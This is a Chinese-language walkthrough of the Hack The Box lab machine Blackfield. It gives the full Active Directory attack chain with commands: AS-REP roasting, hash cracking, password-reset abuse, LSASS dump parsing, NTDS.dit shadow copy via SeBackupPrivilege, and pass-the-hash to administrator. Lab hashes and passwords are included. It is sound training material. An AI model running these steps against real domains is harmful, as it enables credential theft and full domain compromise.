HTB-Blackfield
靶机ip:10.10.10.192
知识点
- AS-REP Roasting
- ForceChangePassword权限滥用实现横向移动
- 利用Lsass内存捕获文件提取用户hash
- 利用SeBackupPrivilege权限进行NTDS.dit卷影拷贝实现权限提升
- 使用wmiexec进行PTH
信息收集
nmap扫描
nmap -sS -sV -sC 10.10.10.192
有DNS
服务,kerberos
服务,LDAP
服务,SMB
服务,域名BLACKFIELD.local
SMB
直接尝试一手匿名登录
smbclient -L \\10.10.10.192
发现得到一些共享资源,尝试获取profiles$
资源
smbclient //10.10.10.192/profiles$
发现一些使用者的名称,将每条带名字的数据保存到users.txt
中,写个脚本将其保存到user.txt
中
1 | import re |
这样就获得了一个基本的用户列表
LDAP
利用ldapsearch
搜索
ldapsearch -H ldap://10.10.10.192:389 -x -s base -b "" namingcontexts
得到两个域名
DomainDnsZones.blackfield.local
ForestDnsZones.blackfield.local
AS-REP Roasting
拿到了用户名,这里又暴露了kerberos
端口88。尝试一下AS-REP Roasting
攻击
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py BLACKFIELD.local/ -usersfile user.txt -dc-ip 10.10.10.192
拿到一个support
用户的hash
1 | $krb5asrep$23$support@BLACKFIELD.LOCAL:8e8fcfa24b77dd8ed4e22771a99640c3$937ed6b20ebfcdbc0a07e975d271f8a18d88e0dfc6b774da9184de540c6847c9adeb2b5615a2f99e06235064c420c621ae3b2bc0cf78ebe3047b7004d1dcfac74bc582fc68c3fa0cf0244920cfceab53cee3e91fc049bbef7efa1584041389ae19d317ab6bfb5c0df0eb4703fbe66367f12999d756d9400e971ab0b6d8993c267a606359303d2f4dfc54ae40b819c613e8e6281a91cec5d22aef09304a696cb9b43a4555ce0dbfe860a16bb83ea715eceabee93327ad337799f0f5153e91e924df1624e3458201312cd6a4bc1d4999dd9b0cc2a4ea3406f78836240ef70c1982911fd13e8f45c3c4f36c28781133df608f33d801 |
使用john
进行破解
将上述票据保存为hash
,使用john
爆破hash
值
john hash --wordlist=/usr/share/wordlists/rockyou.txt
john hash -show
拿到用户名密码:support : #00^BlackKnight
但是evil-winrm
登陆不了,无法通过BloodHound.exe
进行信息收集,但是可以使用Python
版的BloodHound
信息收集,实现了不需要登录即可完成信息收集的功能
AD域渗透
Python版Bloodhound-信息搜集
使用之前获得的用户和密码,通过bloodhound
进行信息搜集
bloodhound-python -c all -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.192
得到一些文件,导入bloodhound
分析
点击First Degree Object Control
可以发现support
用户与audit2020
用户有ForceChangePassword
关系
顾名思义,就是support
用户可以修改audit2020
用户的密码
ForceChangePassword权限滥用实现横向移动
尝试利用rpcclient
修改audit2020
用户的密码
rpcclient -U support --password='#00^BlackKnight' //10.10.10.192
修改密码
setuserinfo2 audit2020 23 'test'
其中23
表示用户信息级别为设置用户密码的级别
当设置的新密码与密码策略不匹配时会返回,设置一个复杂度比较高的密码
setuserinfo2 audit2020 23 'abc123!'
利用crackmapexec
验证一下
crackmapexec smb 10.10.10.192 -u audit2020 -p 'abc123!'
尝试通过audit2020
用户去获得更多smb
共享目录
smbmap -H 10.10.10.192 -u audit2020 -p 'abc123!'
发现获得了forensic
目录的访问权限
smbclient -U audit2020%'abc123!' //10.10.10.192/forensic
在\commands_output\
目录下找到domain_admins.txt
将其get
下来查看
发现疑似admin
密码
利用Lsass内存捕获文件提取用户hash
在\memory_analysis\
目录下发现 lsass.zip
该文件可能是对LSASS
进程进行了内存捕获的结果,LSASS
是Windows
中处理身份验证和安全策略的系统服务。其内存空间中保存着各种身份验证的信息。我们将该文件下载并解压。
smbclient -U audit2020%'abc123!' //10.10.10.192/forensic -t 1000
得到一个lsass.DMP
文件
使用mimikatz
工具从内存转储中尝试提取用户的hash
,在Linux
中使用Python
版的Mimikatz
——pypykatz
pypykatz lsa minidump lsass.DMP
找到svc_backup
用户的hash
:9658d1d1dcd9250115e2205d9f48400d
先尝试利用svc_backup
用户名及其hash
远程登录
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
在Desktop
找到user.txt
利用SeBackupPrivilege权限进行NTDS.dit卷影拷贝实现权限提升
在之前的bloodhound
信息搜集中搜索svc_backup
,点击First Degree Group Memberships
发现该用户属于backup_operators
组的成员
拥有这个组权限的人可以通过SEBackupPrivilege
权限进行提权,执行如下命令,确认是否具有该权限:
whoami /priv
发现我们有SeBackupPrivilege
权限,就可以通过使用签名的二进制文件创建 NTDS.dit
的卷影副本来完成diskshadow
首先上传并导入SeBackupPrivilege提供的两个dll
文件
1 | upload /root/htb/Machines/Blackfield/SeBackupPrivilegeCmdLets.dll |
接着写入文件并通过upload
上传
但是这里要加一行来指定元数据文件的路径
1 | set context persistent nowriters# |
执行diskshadow
并使用脚本文件作为其输入
cmd /c diskshadow /s cmd.txt
将备份ntds.dit
文件移动到当前文件夹
1 | robocopy /b z:\windows\ntds\ .\ NTDS.dit |
从注册表中获取system.hive
文件
reg save HKLM\SYSTEM .\system.hive
可以看到,现在已经获得了NTDS.dit
和system.hive
,将这两个文件下载到本地
1 | download ntds.dit |
使用secretsdump.py
解析 NTDS.dit
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds.dit -system system.hive local
拿到administrator
的hash
使用wmiexec进行PTH
通过wmiexec.py
通过hash
来登录到管理员账户
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee blackfield.LOCAL/administrator@10.10.10.192
现在已经是管理员权限了
最后在Administrator
的Desktop
上找到root.txt
以及notes.txt